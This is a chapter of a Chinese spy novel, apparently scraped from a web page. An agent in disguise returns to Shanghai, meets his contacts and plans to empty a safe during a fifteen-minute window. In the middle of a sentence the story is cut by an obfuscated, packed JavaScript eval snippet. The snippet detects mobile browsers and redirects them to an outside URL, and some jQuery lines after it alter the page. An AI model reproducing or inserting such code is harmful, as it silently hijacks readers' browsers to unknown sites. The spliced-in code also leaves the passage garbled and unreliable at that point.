船在黎明前最浓重的黑暗里驶入吴淞口。
陈徽之站在甲板上,海风带着江水特有的腥气扑面而来。远处的天际线上,上海滩的轮廓在晨曦中逐渐显现——那些熟悉的建筑剪影,外滩的万国建筑群、海关大楼的钟楼、还有更远处法租界隐约的绿荫。这座城市,他生于斯长于斯,曾以为会在这里度过一生。如今归来,却是以另一个人的身份,执行一场赌上性命的秘密行动。
伪装身份姓方,名文彬,祖籍浙江宁波,在上海开着一家不大不小的药材行,专营川贵药材和南洋香料。这个身份有完整的履历、社会关系,甚至还有几张泛黄的旧照片——照片上的“方文彬”与他有六七分相似,是军情六处从无数档案中精心筛选出来的,一个真正存在、但已于两年前病逝于香港的人。
他穿着半旧的灰布长衫,头发用发油梳成上海滩小商人常见的样式,脸上涂了格雷厄姆女士调配的特制药水,肤色变得暗黄粗糙,眼角添了几道细纹。揽镜自照时,连他自己都有些恍惚——镜中人不再是那个衣冠楚楚的陈家少爷,而是一个饱经风霜、为生计奔波的普通商人。
“方先生,该入舱了。”阿强走过来,也换了一身粗布短打,扮作他的伙计。
陈徽之点点头,最后看了一眼渐渐清晰的上海滩轮廓,转身回到船舱。
船在十六铺码头靠岸。码头上人声鼎沸,挑夫、小贩、接客的、拉生意的,混杂成一团喧嚣。穿着短褂的码头工人扛着货包来来往往,巡警叼着烟卷懒洋洋地靠在一边。一切都是那样熟悉,又那样陌生。
陈徽之提着简单的行李,随着人流走下舷梯。阿强跟在他身后,目光警觉地扫视四周。混入人群的那一刻,陈徽之感到一种奇异的解脱——他不再是陈家大少爷,不再是被多方势力寻找的目标,只是一个淹没在人海中的普通商人。
出站很顺利。那张天衣无缝的□□明,加上事先打点好的关节,让他顺利通过了盘查。
码头外,一辆半旧的黑色福特轿车停在不远处。司机是个戴着鸭舌帽的年轻人,见到他们,不动声色地按了一下喇叭——两短一长,是约定的暗号。
阿强上前拉开后座车门,陈徽之弯腰坐了进去。车里已经坐着一个人——三十来岁,方脸浓眉,穿一身洗得发白的蓝布长衫,眼神沉稳而警惕。正是东江方面派来的行动人员之一,代号“老猫”。
“方先生,一路辛苦。”老猫的声音低沉,“住处已经安排好了,在法租界边缘,离辣斐德路不远。裘先生那边,我今晚再去确认最后一次接头时间和方式。”
陈徽之点头:“谭宅这几天有什么动静?”
“外松内紧。”老猫言简意赅,“表面上看一切如常,但暗处多了几个生面孔。裘先生说,谭宗明最近几天脾气很坏,好像南京那边给他施加了很大压力。他昨天半夜还去过一次书房,待了很久才出来。”
压力。陈徽之心中微动。这说明英方和重庆方面的施压已经起了效果,谭宗明开始坐立不安了。而这种不安,恰恰是行动的最好时机——也是最危险的时机。困兽犹斗,狗急跳墙。
“裘先生那边,最后一次确认是什么时候?”
“今晚九点,老地方。我会带你去。”
车子穿过拥挤的街道,驶入法租界。两边熟悉的梧桐树、精致的洋房、整洁的马路,与华界的杂乱形成鲜明对比。陈徽之透过车窗,看着那些他曾无数次走过的地方——那家他常去的咖啡馆,那座他和沈屹重逢的医院,那条通往陈家老宅的林荫道。
一切都近在咫尺,却又恍如隔世。
车子在一栋三层旧式里弄房子前停下。这是法租界边缘典型的民居,楼下是店铺,楼上是住家。门口挂着块褪色的木牌,写着“方记药材行”——军情六处的人效率极高,连招牌都准备好了。
“二楼东边那间是你的。”老猫说,“窗户正对着后巷,万一有事,可以从后面消防梯下去。周围我们的人会盯着,你尽量少出门。”
陈徽之点头,提着行李上楼。房间不大,陈设简单,一张床、一张书桌、两把椅子,但打扫得很干净。窗户朝北,可以看到后巷和对面一排排相似的石库门屋顶。晾衣杆上飘着各色衣物,有人在生煤炉,青烟袅袅。市井生活的烟火气扑面而来。
他放下行李,走到窗前,望着这片陌生又熟悉的景象。几个月前,他还是坐在陈家大宅书房里看《字林西报》的少爷;几个月后,他成了一个潜伏者,一个赌徒,一个随时可能丧命的棋子。
他从贴身内袋里取出那张写着“三月后”的纸条,又取出沈屹的怀表。打开表盖,那两个少年的笑容依然灿烂。他的拇指轻轻抚过照片上沈屹的脸,动作很轻,像是怕惊扰了什么。
“我到了。”他轻声说,“上海。接下来,就是你的书房,你的保险柜,你的‘樱花雨’。我会替你把那些东西拿出来。你安心养伤,等我的消息。”
没有回应。只有怀表“滴答滴答”,一如既往地走着,仿佛在说:我还在,还在等你。
他将怀表和纸条重新贴身收好,深吸一口气,转身面对这个临时的“家”。
书桌上放着一个牛皮纸信封,他打开,里面是更详细的资料——谭宅最近一周的守卫换班表、裘某手绘的更精确的书房内部图、还有几张模糊的照片,是从对面楼上偷拍的谭宅外观。陈徽之一一仔细看过,将每一个细节记在心里。
傍晚时分,老猫端了晚饭上来——一碗阳春面,一碟咸菜,两个烧饼。简单,但热乎。陈徽之吃得很慢,边吃边听老猫汇报最新情况。
“裘先生那边很紧张,但他没有退路。”老猫低声道,“他儿子在英国留学的费用,全靠谭宗明。如果谭宗明倒了,他儿子就完了。所以他现在比我们还急,希望这次行动能成功,到时候用立功换一条出路。”
“他不会出卖我们?”
“暂时不会。他自己也清楚,谭宗明如果知道他私下跟我们接触,第一个杀的就是他。”老猫顿了顿,“但行动的时候,还是要防一手。人心隔肚皮。”
陈徽之点头。这一点,他早有准备。
晚上九点,老猫带着他穿过几条小巷,来到一处偏僻的小茶楼。茶楼已经打烊,但后门虚掩着。他们闪身进去,沿着狭窄的木楼梯上到二楼一间包间。
包间里已经坐着一个人——五十来岁,微胖,穿一身深灰色绸衫,圆脸,眉眼间透着精明和紧张。正是谭宗明的管家,裘贵。
见到陈徽之,裘贵站起身,打量了他几眼,目光里带着审视和不安。
“裘先生,这位就是方先生。”老猫介绍道,“计划由他来执行。”
裘贵点点头,示意他们坐下。他的声音有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296822|198571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些发紧:“方先生,我丑话说在前头。这次行动风险太大,一旦失手,我们都得死。所以,你必须有百分之百的把握。”
陈徽之看着他,平静地说:“裘先生放心。我不是来送死的。我只需要你帮我做两件事——后天晚上,想办法把书房门口的守卫调开至少十分钟;以及,带我进入书房。剩下的,我来做。”
“你开保险柜?”裘贵有些怀疑地看着他,“那可是德国货,电子机械复合锁,没有密码,只有谭宗明自己知道。就算调开守卫,打不开保险柜有什么用?”
陈徽之没有直接回答,而是从怀里取出一个小小的金属盒,打开,里面是一套精巧的工具——那是“教授”通过特殊渠道弄来的、德国原厂的保险柜应急开启装置,配合从裘贵那里获得的保险柜型号信息,理论上可以破解。
“这个够不够?”
裘贵盯着那些工具,眼中闪过一丝惊讶,随即点了点头:“好。后天晚上,谭宗明要去虹口日本领事馆参加一个晚宴,通常要到半夜才回来。他走后,书房门口的守卫会撤掉一个,但还有一个固定守卫。我可以想办法把他也支开——用酒,或者其他法子。但最多十五分钟,不能再多了。”
“十五分钟,够了。”陈徽之语气笃定,“具体时间是?”
“晚上九点以后,谭宗明七点半出门,路上要四十分钟,到领事馆至少八点多。晚宴开始后,他不可能提前离开。所以九点到九点十五,是最佳时机。”
“好。就定在九点。”
裘贵又交代了一些细节——进门的路线、书房的布局、警报器的位置、撤退的路径。陈徽之默默记下,偶尔追问一两个关键点。老猫则在一旁警惕地注视着窗外和门外的动静。
二十分钟后,会谈结束。裘贵先走,消失在夜色中。陈徽之和老猫又等了十分钟,确认无人跟踪,才从后门离开。
回到住处,已是深夜。陈徽之没有睡意,他坐在书桌前,将裘贵提供的所有信息与之前掌握的草图一一对照,在脑中反复推演着后天的每一步行动——从哪里进入,如何避开视线,如何打开保险柜,取出文件后如何撤退,万一失手如何自救……
每一个细节,每一种可能,他都要想到。
夜渐深,窗外的市声终于沉寂下来。远处偶尔传来一两声狗吠和夜行人的脚步声。陈徽之揉了揉酸涩的眼睛,站起身,走到窗前。
后巷黑漆漆的,只有远处一盏昏黄的路灯。月光被云层遮住,只透出朦胧的光晕。
他下意识地摸了摸胸口——那里有沈屹的怀表,还有那张写着“三月后”的纸条。它们像锚,将他的心稳稳地定住,不让它被黑暗吞噬。
沈屹,如果你在看着我,请保佑后天一切顺利。
等我拿到名单,粉碎“樱花雨”,我们就可以——就可以怎样呢?
他突然意识到,自己从未想过“之后”。之后,沈屹归来,他们会怎样?继续并肩作战?还是各自回归原本的生活?又或者,那“之后”本身,就是一个太过奢侈的奢望?
他摇摇头,将这个问题暂时压下。眼下最重要的,是后天。是那十五分钟。是那个保险柜里的秘密。
远处,海关大楼的钟声隐约传来,敲了十二下。
新的一天,开始了。
距离行动,还有整整四十八个时辰。